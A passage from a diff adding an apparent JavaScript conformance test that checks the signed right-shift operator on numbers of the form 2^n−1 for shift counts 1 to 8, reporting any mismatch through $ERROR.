+if (1073741823 >> 1 !== 536870911) {
+ $ERROR('#63: 1073741823 >> 1 === 536870911. Actual: ' + (1073741823 >> 1));
+}
+
+
+if (2147483647 >> 1 !== 1073741823) {
+ $ERROR('#64: 2147483647 >> 1 === 1073741823. Actual: ' + (2147483647 >> 1));
+}
+
+
+if (0 >> 2 !== 0) {
+ $ERROR('#65: 0 >> 2 === 0. Actual: ' + (0 >> 2));
+}
+
+
+if (1 >> 2 !== 0) {
+ $ERROR('#66: 1 >> 2 === 0. Actual: ' + (1 >> 2));
+}
+
+
+if (3 >> 2 !== 0) {
+ $ERROR('#67: 3 >> 2 === 0. Actual: ' + (3 >> 2));
+}
+
+
+if (7 >> 2 !== 1) {
+ $ERROR('#68: 7 >> 2 === 1. Actual: ' + (7 >> 2));
+}
+
+
+if (15 >> 2 !== 3) {
+ $ERROR('#69: 15 >> 2 === 3. Actual: ' + (15 >> 2));
+}
+
+
+if (31 >> 2 !== 7) {
+ $ERROR('#70: 31 >> 2 === 7. Actual: ' + (31 >> 2));
+}
+
+
+if (63 >> 2 !== 15) {
+ $ERROR('#71: 63 >> 2 === 15. Actual: ' + (63 >> 2));
+}
+
+
+if (127 >> 2 !== 31) {
+ $ERROR('#72: 127 >> 2 === 31. Actual: ' + (127 >> 2));
+}
+
+
+if (255 >> 2 !== 63) {
+ $ERROR('#73: 255 >> 2 === 63. Actual: ' + (255 >> 2));
+}
+
+
+if (511 >> 2 !== 127) {
+ $ERROR('#74: 511 >> 2 === 127. Actual: ' + (511 >> 2));
+}
+
+
+if (1023 >> 2 !== 255) {
+ $ERROR('#75: 1023 >> 2 === 255. Actual: ' + (1023 >> 2));
+}
+
+
+if (2047 >> 2 !== 511) {
+ $ERROR('#76: 2047 >> 2 === 511. Actual: ' + (2047 >> 2));
+}
+
+
+if (4095 >> 2 !== 1023) {
+ $ERROR('#77: 4095 >> 2 === 1023. Actual: ' + (4095 >> 2));
+}
+
+
+if (8191 >> 2 !== 2047) {
+ $ERROR('#78: 8191 >> 2 === 2047. Actual: ' + (8191 >> 2));
+}
+
+
+if (16383 >> 2 !== 4095) {
+ $ERROR('#79: 16383 >> 2 === 4095. Actual: ' + (16383 >> 2));
+}
+
+
+if (32767 >> 2 !== 8191) {
+ $ERROR('#80: 32767 >> 2 === 8191. Actual: ' + (32767 >> 2));
+}
+
+
+if (65535 >> 2 !== 16383) {
+ $ERROR('#81: 65535 >> 2 === 16383. Actual: ' + (65535 >> 2));
+}
+
+
+if (131071 >> 2 !== 32767) {
+ $ERROR('#82: 131071 >> 2 === 32767. Actual: ' + (131071 >> 2));
+}
+
+
+if (262143 >> 2 !== 65535) {
+ $ERROR('#83: 262143 >> 2 === 65535. Actual: ' + (262143 >> 2));
+}
+
+
+if (524287 >> 2 !== 131071) {
+ $ERROR('#84: 524287 >> 2 === 131071. Actual: ' + (524287 >> 2));
+}
+
+
+if (1048575 >> 2 !== 262143) {
+ $ERROR('#85: 1048575 >> 2 === 262143. Actual: ' + (1048575 >> 2));
+}
+
+
+if (2097151 >> 2 !== 524287) {
+ $ERROR('#86: 2097151 >> 2 === 524287. Actual: ' + (2097151 >> 2));
+}
+
+
+if (4194303 >> 2 !== 1048575) {
+ $ERROR('#87: 4194303 >> 2 === 1048575. Actual: ' + (4194303 >> 2));
+}
+
+
+if (8388607 >> 2 !== 2097151) {
+ $ERROR('#88: 8388607 >> 2 === 2097151. Actual: ' + (8388607 >> 2));
+}
+
+
+if (16777215 >> 2 !== 4194303) {
+ $ERROR('#89: 16777215 >> 2 === 4194303. Actual: ' + (16777215 >> 2));
+}
+
+
+if (33554431 >> 2 !== 8388607) {
+ $ERROR('#90: 33554431 >> 2 === 8388607. Actual: ' + (33554431 >> 2));
+}
+
+
+if (67108863 >> 2 !== 16777215) {
+ $ERROR('#91: 67108863 >> 2 === 16777215. Actual: ' + (67108863 >> 2));
+}
+
+
+if (134217727 >> 2 !== 33554431) {
+ $ERROR('#92: 134217727 >> 2 === 33554431. Actual: ' + (134217727 >> 2));
+}
+
+
+if (268435455 >> 2 !== 67108863) {
+ $ERROR('#93: 268435455 >> 2 === 67108863. Actual: ' + (268435455 >> 2));
+}
+
+
+if (536870911 >> 2 !== 134217727) {
+ $ERROR('#94: 536870911 >> 2 === 134217727. Actual: ' + (536870911 >> 2));
+}
+
+
+if (1073741823 >> 2 !== 268435455) {
+ $ERROR('#95: 1073741823 >> 2 === 268435455. Actual: ' + (1073741823 >> 2));
+}
+
+
+if (2147483647 >> 2 !== 536870911) {
+ $ERROR('#96: 2147483647 >> 2 === 536870911. Actual: ' + (2147483647 >> 2));
+}
+
+
+if (0 >> 3 !== 0) {
+ $ERROR('#97: 0 >> 3 === 0. Actual: ' + (0 >> 3));
+}
+
+
+if (1 >> 3 !== 0) {
+ $ERROR('#98: 1 >> 3 === 0. Actual: ' + (1 >> 3));
+}
+
+
+if (3 >> 3 !== 0) {
+ $ERROR('#99: 3 >> 3 === 0. Actual: ' + (3 >> 3));
+}
+
+
+if (7 >> 3 !== 0) {
+ $ERROR('#100: 7 >> 3 === 0. Actual: ' + (7 >> 3));
+}
+
+
+if (15 >> 3 !== 1) {
+ $ERROR('#101: 15 >> 3 === 1. Actual: ' + (15 >> 3));
+}
+
+
+if (31 >> 3 !== 3) {
+ $ERROR('#102: 31 >> 3 === 3. Actual: ' + (31 >> 3));
+}
+
+
+if (63 >> 3 !== 7) {
+ $ERROR('#103: 63 >> 3 === 7. Actual: ' + (63 >> 3));
+}
+
+
+if (127 >> 3 !== 15) {
+ $ERROR('#104: 127 >> 3 === 15. Actual: ' + (127 >> 3));
+}
+
+
+if (255 >> 3 !== 31) {
+ $ERROR('#105: 255 >> 3 === 31. Actual: ' + (255 >> 3));
+}
+
+
+if (511 >> 3 !== 63) {
+ $ERROR('#106: 511 >> 3 === 63. Actual: ' + (511 >> 3));
+}
+
+
+if (1023 >> 3 !== 127) {
+ $ERROR('#107: 1023 >> 3 === 127. Actual: ' + (1023 >> 3));
+}
+
+
+if (2047 >> 3 !== 255) {
+ $ERROR('#108: 2047 >> 3 === 255. Actual: ' + (2047 >> 3));
+}
+
+
+if (4095 >> 3 !== 511) {
+ $ERROR('#109: 4095 >> 3 === 511. Actual: ' + (4095 >> 3));
+}
+
+
+if (8191 >> 3 !== 1023) {
+ $ERROR('#110: 8191 >> 3 === 1023. Actual: ' + (8191 >> 3));
+}
+
+
+if (16383 >> 3 !== 2047) {
+ $ERROR('#111: 16383 >> 3 === 2047. Actual: ' + (16383 >> 3));
+}
+
+
+if (32767 >> 3 !== 4095) {
+ $ERROR('#112: 32767 >> 3 === 4095. Actual: ' + (32767 >> 3));
+}
+
+
+if (65535 >> 3 !== 8191) {
+ $ERROR('#113: 65535 >> 3 === 8191. Actual: ' + (65535 >> 3));
+}
+
+
+if (131071 >> 3 !== 16383) {
+ $ERROR('#114: 131071 >> 3 === 16383. Actual: ' + (131071 >> 3));
+}
+
+
+if (262143 >> 3 !== 32767) {
+ $ERROR('#115: 262143 >> 3 === 32767. Actual: ' + (262143 >> 3));
+}
+
+
+if (524287 >> 3 !== 65535) {
+ $ERROR('#116: 524287 >> 3 === 65535. Actual: ' + (524287 >> 3));
+}
+
+
+if (1048575 >> 3 !== 131071) {
+ $ERROR('#117: 1048575 >> 3 === 131071. Actual: ' + (1048575 >> 3));
+}
+
+
+if (2097151 >> 3 !== 262143) {
+ $ERROR('#118: 2097151 >> 3 === 262143. Actual: ' + (2097151 >> 3));
+}
+
+
+if (4194303 >> 3 !== 524287) {
+ $ERROR('#119: 4194303 >> 3 === 524287. Actual: ' + (4194303 >> 3));
+}
+
+
+if (8388607 >> 3 !== 1048575) {
+ $ERROR('#120: 8388607 >> 3 === 1048575. Actual: ' + (8388607 >> 3));
+}
+
+
+if (16777215 >> 3 !== 2097151) {
+ $ERROR('#121: 16777215 >> 3 === 2097151. Actual: ' + (16777215 >> 3));
+}
+
+
+if (33554431 >> 3 !== 4194303) {
+ $ERROR('#122: 33554431 >> 3 === 4194303. Actual: ' + (33554431 >> 3));
+}
+
+
+if (67108863 >> 3 !== 8388607) {
+ $ERROR('#123: 67108863 >> 3 === 8388607. Actual: ' + (67108863 >> 3));
+}
+
+
+if (134217727 >> 3 !== 16777215) {
+ $ERROR('#124: 134217727 >> 3 === 16777215. Actual: ' + (134217727 >> 3));
+}
+
+
+if (268435455 >> 3 !== 33554431) {
+ $ERROR('#125: 268435455 >> 3 === 33554431. Actual: ' + (268435455 >> 3));
+}
+
+
+if (536870911 >> 3 !== 67108863) {
+ $ERROR('#126: 536870911 >> 3 === 67108863. Actual: ' + (536870911 >> 3));
+}
+
+
+if (1073741823 >> 3 !== 134217727) {
+ $ERROR('#127: 1073741823 >> 3 === 134217727. Actual: ' + (1073741823 >> 3));
+}
+
+
+if (2147483647 >> 3 !== 268435455) {
+ $ERROR('#128: 2147483647 >> 3 === 268435455. Actual: ' + (2147483647 >> 3));
+}
+
+
+if (0 >> 4 !== 0) {
+ $ERROR('#129: 0 >> 4 === 0. Actual: ' + (0 >> 4));
+}
+
+
+if (1 >> 4 !== 0) {
+ $ERROR('#130: 1 >> 4 === 0. Actual: ' + (1 >> 4));
+}
+
+
+if (3 >> 4 !== 0) {
+ $ERROR('#131: 3 >> 4 === 0. Actual: ' + (3 >> 4));
+}
+
+
+if (7 >> 4 !== 0) {
+ $ERROR('#132: 7 >> 4 === 0. Actual: ' + (7 >> 4));
+}
+
+
+if (15 >> 4 !== 0) {
+ $ERROR('#133: 15 >> 4 === 0. Actual: ' + (15 >> 4));
+}
+
+
+if (31 >> 4 !== 1) {
+ $ERROR('#134: 31 >> 4 === 1. Actual: ' + (31 >> 4));
+}
+
+
+if (63 >> 4 !== 3) {
+ $ERROR('#135: 63 >> 4 === 3. Actual: ' + (63 >> 4));
+}
+
+
+if (127 >> 4 !== 7) {
+ $ERROR('#136: 127 >> 4 === 7. Actual: ' + (127 >> 4));
+}
+
+
+if (255 >> 4 !== 15) {
+ $ERROR('#137: 255 >> 4 === 15. Actual: ' + (255 >> 4));
+}
+
+
+if (511 >> 4 !== 31) {
+ $ERROR('#138: 511 >> 4 === 31. Actual: ' + (511 >> 4));
+}
+
+
+if (1023 >> 4 !== 63) {
+ $ERROR('#139: 1023 >> 4 === 63. Actual: ' + (1023 >> 4));
+}
+
+
+if (2047 >> 4 !== 127) {
+ $ERROR('#140: 2047 >> 4 === 127. Actual: ' + (2047 >> 4));
+}
+
+
+if (4095 >> 4 !== 255) {
+ $ERROR('#141: 4095 >> 4 === 255. Actual: ' + (4095 >> 4));
+}
+
+
+if (8191 >> 4 !== 511) {
+ $ERROR('#142: 8191 >> 4 === 511. Actual: ' + (8191 >> 4));
+}
+
+
+if (16383 >> 4 !== 1023) {
+ $ERROR('#143: 16383 >> 4 === 1023. Actual: ' + (16383 >> 4));
+}
+
+
+if (32767 >> 4 !== 2047) {
+ $ERROR('#144: 32767 >> 4 === 2047. Actual: ' + (32767 >> 4));
+}
+
+
+if (65535 >> 4 !== 4095) {
+ $ERROR('#145: 65535 >> 4 === 4095. Actual: ' + (65535 >> 4));
+}
+
+
+if (131071 >> 4 !== 8191) {
+ $ERROR('#146: 131071 >> 4 === 8191. Actual: ' + (131071 >> 4));
+}
+
+
+if (262143 >> 4 !== 16383) {
+ $ERROR('#147: 262143 >> 4 === 16383. Actual: ' + (262143 >> 4));
+}
+
+
+if (524287 >> 4 !== 32767) {
+ $ERROR('#148: 524287 >> 4 === 32767. Actual: ' + (524287 >> 4));
+}
+
+
+if (1048575 >> 4 !== 65535) {
+ $ERROR('#149: 1048575 >> 4 === 65535. Actual: ' + (1048575 >> 4));
+}
+
+
+if (2097151 >> 4 !== 131071) {
+ $ERROR('#150: 2097151 >> 4 === 131071. Actual: ' + (2097151 >> 4));
+}
+
+
+if (4194303 >> 4 !== 262143) {
+ $ERROR('#151: 4194303 >> 4 === 262143. Actual: ' + (4194303 >> 4));
+}
+
+
+if (8388607 >> 4 !== 524287) {
+ $ERROR('#152: 8388607 >> 4 === 524287. Actual: ' + (8388607 >> 4));
+}
+
+
+if (16777215 >> 4 !== 1048575) {
+ $ERROR('#153: 16777215 >> 4 === 1048575. Actual: ' + (16777215 >> 4));
+}
+
+
+if (33554431 >> 4 !== 2097151) {
+ $ERROR('#154: 33554431 >> 4 === 2097151. Actual: ' + (33554431 >> 4));
+}
+
+
+if (67108863 >> 4 !== 4194303) {
+ $ERROR('#155: 67108863 >> 4 === 4194303. Actual: ' + (67108863 >> 4));
+}
+
+
+if (134217727 >> 4 !== 8388607) {
+ $ERROR('#156: 134217727 >> 4 === 8388607. Actual: ' + (134217727 >> 4));
+}
+
+
+if (268435455 >> 4 !== 16777215) {
+ $ERROR('#157: 268435455 >> 4 === 16777215. Actual: ' + (268435455 >> 4));
+}
+
+
+if (536870911 >> 4 !== 33554431) {
+ $ERROR('#158: 536870911 >> 4 === 33554431. Actual: ' + (536870911 >> 4));
+}
+
+
+if (1073741823 >> 4 !== 67108863) {
+ $ERROR('#159: 1073741823 >> 4 === 67108863. Actual: ' + (1073741823 >> 4));
+}
+
+
+if (2147483647 >> 4 !== 134217727) {
+ $ERROR('#160: 2147483647 >> 4 === 134217727. Actual: ' + (2147483647 >> 4));
+}
+
+
+if (0 >> 5 !== 0) {
+ $ERROR('#161: 0 >> 5 === 0. Actual: ' + (0 >> 5));
+}
+
+
+if (1 >> 5 !== 0) {
+ $ERROR('#162: 1 >> 5 === 0. Actual: ' + (1 >> 5));
+}
+
+
+if (3 >> 5 !== 0) {
+ $ERROR('#163: 3 >> 5 === 0. Actual: ' + (3 >> 5));
+}
+
+
+if (7 >> 5 !== 0) {
+ $ERROR('#164: 7 >> 5 === 0. Actual: ' + (7 >> 5));
+}
+
+
+if (15 >> 5 !== 0) {
+ $ERROR('#165: 15 >> 5 === 0. Actual: ' + (15 >> 5));
+}
+
+
+if (31 >> 5 !== 0) {
+ $ERROR('#166: 31 >> 5 === 0. Actual: ' + (31 >> 5));
+}
+
+
+if (63 >> 5 !== 1) {
+ $ERROR('#167: 63 >> 5 === 1. Actual: ' + (63 >> 5));
+}
+
+
+if (127 >> 5 !== 3) {
+ $ERROR('#168: 127 >> 5 === 3. Actual: ' + (127 >> 5));
+}
+
+
+if (255 >> 5 !== 7) {
+ $ERROR('#169: 255 >> 5 === 7. Actual: ' + (255 >> 5));
+}
+
+
+if (511 >> 5 !== 15) {
+ $ERROR('#170: 511 >> 5 === 15. Actual: ' + (511 >> 5));
+}
+
+
+if (1023 >> 5 !== 31) {
+ $ERROR('#171: 1023 >> 5 === 31. Actual: ' + (1023 >> 5));
+}
+
+
+if (2047 >> 5 !== 63) {
+ $ERROR('#172: 2047 >> 5 === 63. Actual: ' + (2047 >> 5));
+}
+
+
+if (4095 >> 5 !== 127) {
+ $ERROR('#173: 4095 >> 5 === 127. Actual: ' + (4095 >> 5));
+}
+
+
+if (8191 >> 5 !== 255) {
+ $ERROR('#174: 8191 >> 5 === 255. Actual: ' + (8191 >> 5));
+}
+
+
+if (16383 >> 5 !== 511) {
+ $ERROR('#175: 16383 >> 5 === 511. Actual: ' + (16383 >> 5));
+}
+
+
+if (32767 >> 5 !== 1023) {
+ $ERROR('#176: 32767 >> 5 === 1023. Actual: ' + (32767 >> 5));
+}
+
+
+if (65535 >> 5 !== 2047) {
+ $ERROR('#177: 65535 >> 5 === 2047. Actual: ' + (65535 >> 5));
+}
+
+
+if (131071 >> 5 !== 4095) {
+ $ERROR('#178: 131071 >> 5 === 4095. Actual: ' + (131071 >> 5));
+}
+
+
+if (262143 >> 5 !== 8191) {
+ $ERROR('#179: 262143 >> 5 === 8191. Actual: ' + (262143 >> 5));
+}
+
+
+if (524287 >> 5 !== 16383) {
+ $ERROR('#180: 524287 >> 5 === 16383. Actual: ' + (524287 >> 5));
+}
+
+
+if (1048575 >> 5 !== 32767) {
+ $ERROR('#181: 1048575 >> 5 === 32767. Actual: ' + (1048575 >> 5));
+}
+
+
+if (2097151 >> 5 !== 65535) {
+ $ERROR('#182: 2097151 >> 5 === 65535. Actual: ' + (2097151 >> 5));
+}
+
+
+if (4194303 >> 5 !== 131071) {
+ $ERROR('#183: 4194303 >> 5 === 131071. Actual: ' + (4194303 >> 5));
+}
+
+
+if (8388607 >> 5 !== 262143) {
+ $ERROR('#184: 8388607 >> 5 === 262143. Actual: ' + (8388607 >> 5));
+}
+
+
+if (16777215 >> 5 !== 524287) {
+ $ERROR('#185: 16777215 >> 5 === 524287. Actual: ' + (16777215 >> 5));
+}
+
+
+if (33554431 >> 5 !== 1048575) {
+ $ERROR('#186: 33554431 >> 5 === 1048575. Actual: ' + (33554431 >> 5));
+}
+
+
+if (67108863 >> 5 !== 2097151) {
+ $ERROR('#187: 67108863 >> 5 === 2097151. Actual: ' + (67108863 >> 5));
+}
+
+
+if (134217727 >> 5 !== 4194303) {
+ $ERROR('#188: 134217727 >> 5 === 4194303. Actual: ' + (134217727 >> 5));
+}
+
+
+if (268435455 >> 5 !== 8388607) {
+ $ERROR('#189: 268435455 >> 5 === 8388607. Actual: ' + (268435455 >> 5));
+}
+
+
+if (536870911 >> 5 !== 16777215) {
+ $ERROR('#190: 536870911 >> 5 === 16777215. Actual: ' + (536870911 >> 5));
+}
+
+
+if (1073741823 >> 5 !== 33554431) {
+ $ERROR('#191: 1073741823 >> 5 === 33554431. Actual: ' + (1073741823 >> 5));
+}
+
+
+if (2147483647 >> 5 !== 67108863) {
+ $ERROR('#192: 2147483647 >> 5 === 67108863. Actual: ' + (2147483647 >> 5));
+}
+
+
+if (0 >> 6 !== 0) {
+ $ERROR('#193: 0 >> 6 === 0. Actual: ' + (0 >> 6));
+}
+
+
+if (1 >> 6 !== 0) {
+ $ERROR('#194: 1 >> 6 === 0. Actual: ' + (1 >> 6));
+}
+
+
+if (3 >> 6 !== 0) {
+ $ERROR('#195: 3 >> 6 === 0. Actual: ' + (3 >> 6));
+}
+
+
+if (7 >> 6 !== 0) {
+ $ERROR('#196: 7 >> 6 === 0. Actual: ' + (7 >> 6));
+}
+
+
+if (15 >> 6 !== 0) {
+ $ERROR('#197: 15 >> 6 === 0. Actual: ' + (15 >> 6));
+}
+
+
+if (31 >> 6 !== 0) {
+ $ERROR('#198: 31 >> 6 === 0. Actual: ' + (31 >> 6));
+}
+
+
+if (63 >> 6 !== 0) {
+ $ERROR('#199: 63 >> 6 === 0. Actual: ' + (63 >> 6));
+}
+
+
+if (127 >> 6 !== 1) {
+ $ERROR('#200: 127 >> 6 === 1. Actual: ' + (127 >> 6));
+}
+
+
+if (255 >> 6 !== 3) {
+ $ERROR('#201: 255 >> 6 === 3. Actual: ' + (255 >> 6));
+}
+
+
+if (511 >> 6 !== 7) {
+ $ERROR('#202: 511 >> 6 === 7. Actual: ' + (511 >> 6));
+}
+
+
+if (1023 >> 6 !== 15) {
+ $ERROR('#203: 1023 >> 6 === 15. Actual: ' + (1023 >> 6));
+}
+
+
+if (2047 >> 6 !== 31) {
+ $ERROR('#204: 2047 >> 6 === 31. Actual: ' + (2047 >> 6));
+}
+
+
+if (4095 >> 6 !== 63) {
+ $ERROR('#205: 4095 >> 6 === 63. Actual: ' + (4095 >> 6));
+}
+
+
+if (8191 >> 6 !== 127) {
+ $ERROR('#206: 8191 >> 6 === 127. Actual: ' + (8191 >> 6));
+}
+
+
+if (16383 >> 6 !== 255) {
+ $ERROR('#207: 16383 >> 6 === 255. Actual: ' + (16383 >> 6));
+}
+
+
+if (32767 >> 6 !== 511) {
+ $ERROR('#208: 32767 >> 6 === 511. Actual: ' + (32767 >> 6));
+}
+
+
+if (65535 >> 6 !== 1023) {
+ $ERROR('#209: 65535 >> 6 === 1023. Actual: ' + (65535 >> 6));
+}
+
+
+if (131071 >> 6 !== 2047) {
+ $ERROR('#210: 131071 >> 6 === 2047. Actual: ' + (131071 >> 6));
+}
+
+
+if (262143 >> 6 !== 4095) {
+ $ERROR('#211: 262143 >> 6 === 4095. Actual: ' + (262143 >> 6));
+}
+
+
+if (524287 >> 6 !== 8191) {
+ $ERROR('#212: 524287 >> 6 === 8191. Actual: ' + (524287 >> 6));
+}
+
+
+if (1048575 >> 6 !== 16383) {
+ $ERROR('#213: 1048575 >> 6 === 16383. Actual: ' + (1048575 >> 6));
+}
+
+
+if (2097151 >> 6 !== 32767) {
+ $ERROR('#214: 2097151 >> 6 === 32767. Actual: ' + (2097151 >> 6));
+}
+
+
+if (4194303 >> 6 !== 65535) {
+ $ERROR('#215: 4194303 >> 6 === 65535. Actual: ' + (4194303 >> 6));
+}
+
+
+if (8388607 >> 6 !== 131071) {
+ $ERROR('#216: 8388607 >> 6 === 131071. Actual: ' + (8388607 >> 6));
+}
+
+
+if (16777215 >> 6 !== 262143) {
+ $ERROR('#217: 16777215 >> 6 === 262143. Actual: ' + (16777215 >> 6));
+}
+
+
+if (33554431 >> 6 !== 524287) {
+ $ERROR('#218: 33554431 >> 6 === 524287. Actual: ' + (33554431 >> 6));
+}
+
+
+if (67108863 >> 6 !== 1048575) {
+ $ERROR('#219: 67108863 >> 6 === 1048575. Actual: ' + (67108863 >> 6));
+}
+
+
+if (134217727 >> 6 !== 2097151) {
+ $ERROR('#220: 134217727 >> 6 === 2097151. Actual: ' + (134217727 >> 6));
+}
+
+
+if (268435455 >> 6 !== 4194303) {
+ $ERROR('#221: 268435455 >> 6 === 4194303. Actual: ' + (268435455 >> 6));
+}
+
+
+if (536870911 >> 6 !== 8388607) {
+ $ERROR('#222: 536870911 >> 6 === 8388607. Actual: ' + (536870911 >> 6));
+}
+
+
+if (1073741823 >> 6 !== 16777215) {
+ $ERROR('#223: 1073741823 >> 6 === 16777215. Actual: ' + (1073741823 >> 6));
+}
+
+
+if (2147483647 >> 6 !== 33554431) {
+ $ERROR('#224: 2147483647 >> 6 === 33554431. Actual: ' + (2147483647 >> 6));
+}
+
+
+if (0 >> 7 !== 0) {
+ $ERROR('#225: 0 >> 7 === 0. Actual: ' + (0 >> 7));
+}
+
+
+if (1 >> 7 !== 0) {
+ $ERROR('#226: 1 >> 7 === 0. Actual: ' + (1 >> 7));
+}
+
+
+if (3 >> 7 !== 0) {
+ $ERROR('#227: 3 >> 7 === 0. Actual: ' + (3 >> 7));
+}
+
+
+if (7 >> 7 !== 0) {
+ $ERROR('#228: 7 >> 7 === 0. Actual: ' + (7 >> 7));
+}
+
+
+if (15 >> 7 !== 0) {
+ $ERROR('#229: 15 >> 7 === 0. Actual: ' + (15 >> 7));
+}
+
+
+if (31 >> 7 !== 0) {
+ $ERROR('#230: 31 >> 7 === 0. Actual: ' + (31 >> 7));
+}
+
+
+if (63 >> 7 !== 0) {
+ $ERROR('#231: 63 >> 7 === 0. Actual: ' + (63 >> 7));
+}
+
+
+if (127 >> 7 !== 0) {
+ $ERROR('#232: 127 >> 7 === 0. Actual: ' + (127 >> 7));
+}
+
+
+if (255 >> 7 !== 1) {
+ $ERROR('#233: 255 >> 7 === 1. Actual: ' + (255 >> 7));
+}
+
+
+if (511 >> 7 !== 3) {
+ $ERROR('#234: 511 >> 7 === 3. Actual: ' + (511 >> 7));
+}
+
+
+if (1023 >> 7 !== 7) {
+ $ERROR('#235: 1023 >> 7 === 7. Actual: ' + (1023 >> 7));
+}
+
+
+if (2047 >> 7 !== 15) {
+ $ERROR('#236: 2047 >> 7 === 15. Actual: ' + (2047 >> 7));
+}
+
+
+if (4095 >> 7 !== 31) {
+ $ERROR('#237: 4095 >> 7 === 31. Actual: ' + (4095 >> 7));
+}
+
+
+if (8191 >> 7 !== 63) {
+ $ERROR('#238: 8191 >> 7 === 63. Actual: ' + (8191 >> 7));
+}
+
+
+if (16383 >> 7 !== 127) {
+ $ERROR('#239: 16383 >> 7 === 127. Actual: ' + (16383 >> 7));
+}
+
+
+if (32767 >> 7 !== 255) {
+ $ERROR('#240: 32767 >> 7 === 255. Actual: ' + (32767 >> 7));
+}
+
+
+if (65535 >> 7 !== 511) {
+ $ERROR('#241: 65535 >> 7 === 511. Actual: ' + (65535 >> 7));
+}
+
+
+if (131071 >> 7 !== 1023) {
+ $ERROR('#242: 131071 >> 7 === 1023. Actual: ' + (131071 >> 7));
+}
+
+
+if (262143 >> 7 !== 2047) {
+ $ERROR('#243: 262143 >> 7 === 2047. Actual: ' + (262143 >> 7));
+}
+
+
+if (524287 >> 7 !== 4095) {
+ $ERROR('#244: 524287 >> 7 === 4095. Actual: ' + (524287 >> 7));
+}
+
+
+if (1048575 >> 7 !== 8191) {
+ $ERROR('#245: 1048575 >> 7 === 8191. Actual: ' + (1048575 >> 7));
+}
+
+
+if (2097151 >> 7 !== 16383) {
+ $ERROR('#246: 2097151 >> 7 === 16383. Actual: ' + (2097151 >> 7));
+}
+
+
+if (4194303 >> 7 !== 32767) {
+ $ERROR('#247: 4194303 >> 7 === 32767. Actual: ' + (4194303 >> 7));
+}
+
+
+if (8388607 >> 7 !== 65535) {
+ $ERROR('#248: 8388607 >> 7 === 65535. Actual: ' + (8388607 >> 7));
+}
+
+
+if (16777215 >> 7 !== 131071) {
+ $ERROR('#249: 16777215 >> 7 === 131071. Actual: ' + (16777215 >> 7));
+}
+
+
+if (33554431 >> 7 !== 262143) {
+ $ERROR('#250: 33554431 >> 7 === 262143. Actual: ' + (33554431 >> 7));
+}
+
+
+if (67108863 >> 7 !== 524287) {
+ $ERROR('#251: 67108863 >> 7 === 524287. Actual: ' + (67108863 >> 7));
+}
+
+
+if (134217727 >> 7 !== 1048575) {
+ $ERROR('#252: 134217727 >> 7 === 1048575. Actual: ' + (134217727 >> 7));
+}
+
+
+if (268435455 >> 7 !== 2097151) {
+ $ERROR('#253: 268435455 >> 7 === 2097151. Actual: ' + (268435455 >> 7));
+}
+
+
+if (536870911 >> 7 !== 4194303) {
+ $ERROR('#254: 536870911 >> 7 === 4194303. Actual: ' + (536870911 >> 7));
+}
+
+
+if (1073741823 >> 7 !== 8388607) {
+ $ERROR('#255: 1073741823 >> 7 === 8388607. Actual: ' + (1073741823 >> 7));
+}
+
+
+if (2147483647 >> 7 !== 16777215) {
+ $ERROR('#256: 2147483647 >> 7 === 16777215. Actual: ' + (2147483647 >> 7));
+}
+
+
+if (0 >> 8 !== 0) {
+ $ERROR('#257: 0 >> 8 === 0. Actual: ' + (0 >> 8));
+}
+
+
+if (1 >> 8 !== 0) {
+ $ERROR('#258: 1 >> 8 === 0. Actual: ' + (1 >> 8));
+}
+
+
+if (3 >> 8 !== 0) {
+ $ERROR('#259: 3 >> 8 === 0. Actual: ' + (3 >> 8));
+}
+
+
+if (7 >> 8 !== 0) {
+ $ERROR('#260: 7 >> 8 === 0. Actual: ' + (7 >> 8));
+}
+
+
+if (15 >> 8 !== 0) {
+ $ERROR('#261: 15 >> 8 === 0. Actual: ' + (15 >> 8));
+}
+
+
+if (31 >> 8 !== 0) {
+ $ERROR('#262: 31 >> 8 === 0. Actual: ' + (31 >> 8));
+}
+
+
+if (63 >> 8 !== 0) {
+ $ERROR('#263: 63 >> 8 === 0. Actual: ' + (63 >> 8));
+}
+
+
+if (127 >> 8 !== 0) {
+ $ERROR('#264: 127 >> 8 === 0. Actual: ' + (127 >> 8));
+}
+
+
+if (255 >> 8 !== 0) {
+ $ERROR('#265: 255 >> 8 === 0. Actual: ' + (255 >> 8));
+}
+
+
+if (511 >> 8 !== 1) {
+ $ERROR('#266: 511 >> 8 === 1. Actual: ' + (511 >> 8));
+}
+
+
+if (1023 >> 8 !== 3) {
+ $ERROR('#267: 1023 >> 8 === 3. Actual: ' + (1023 >> 8));
+}
+
+
+if (2047 >> 8 !== 7) {
+ $ERROR('#268: 2047 >> 8 === 7. Actual: ' + (2047 >> 8));
+}
+
+
+if (4095 >> 8 !== 15) {
+ $ERROR('#269: 4095 >> 8 === 15. Actual: ' + (4095 >> 8));
+}
+
+
+if (8191 >> 8 !== 31) {
+ $ERROR('#270: 8191 >> 8 === 31. Actual: ' + (8191 >> 8));
+}
+
+
+if (16383 >> 8 !== 63) {
+ $ERROR('#271: 16383 >> 8 === 63. Actual: ' + (16383 >> 8));
+}
+
+
+if (32767 >> 8 !== 127) {
+ $ERROR('#272: 32767 >> 8 === 127. Actual: ' + (32767 >> 8));
+}
+
+
+if (65535 >> 8 !== 255) {
+ $ERROR('#273: 65535 >> 8 === 255. Actual: ' + (65535 >> 8));
+}
+
+
+if (131071 >> 8 !== 511) {
+ $ERROR('#274: 131071 >> 8 === 511. Actual: ' + (131071 >> 8));
+}
+
+
+if (262143 >> 8 !== 1023) {
+ $ERROR('#275: 262143 >> 8 === 1023. Actual: ' + (262143 >> 8));
+}
+
+
+if (524287 >> 8 !== 2047) {
+ $ERROR('#276: 524287 >> 8 === 2047. Actual: ' + (524287 >> 8));
+}
+
+
+if (1048575 >> 8 !== 4095) {
+ $ERROR('#277: 1048575 >> 8 === 4095. Actual: ' + (1048575 >> 8));
+}
+
+
+if (2097151 >> 8 !== 8191) {
+ $ERROR('#278: 2097151 >> 8 === 8191. Actual: ' + (2097151 >> 8));
+}
+
+
+if (4194303 >> 8 !== 16383) {
+ $ERROR('#279: 4194303 >> 8 === 16383. Actual: ' + (4194303 >> 8));
+}
+
+
+if (8388607 >> 8 !== 32767) {
+ $ERROR('#280: 8388607 >> 8 === 32767. Actual: ' + (8388607 >> 8));
+}
+
+
+if (16777215 >> 8 !== 65535) {
+ $ERROR('#281: 16777215 >> 8 === 65535. Actual: ' + (16777215 >> 8));
+}
+
+
+if (33554431 >> 8 !== 131071) {
+ $ERROR('#282: 33554431 >> 8 === 131071. Actual: ' + (33554431 >> 8));
+}
+
+
+if (67108863 >> 8 !== 262143) {
+ $ERROR('#283: 67108863 >> 8 === 262143. Actual: ' + (67108863 >> 8));
+}
+
+
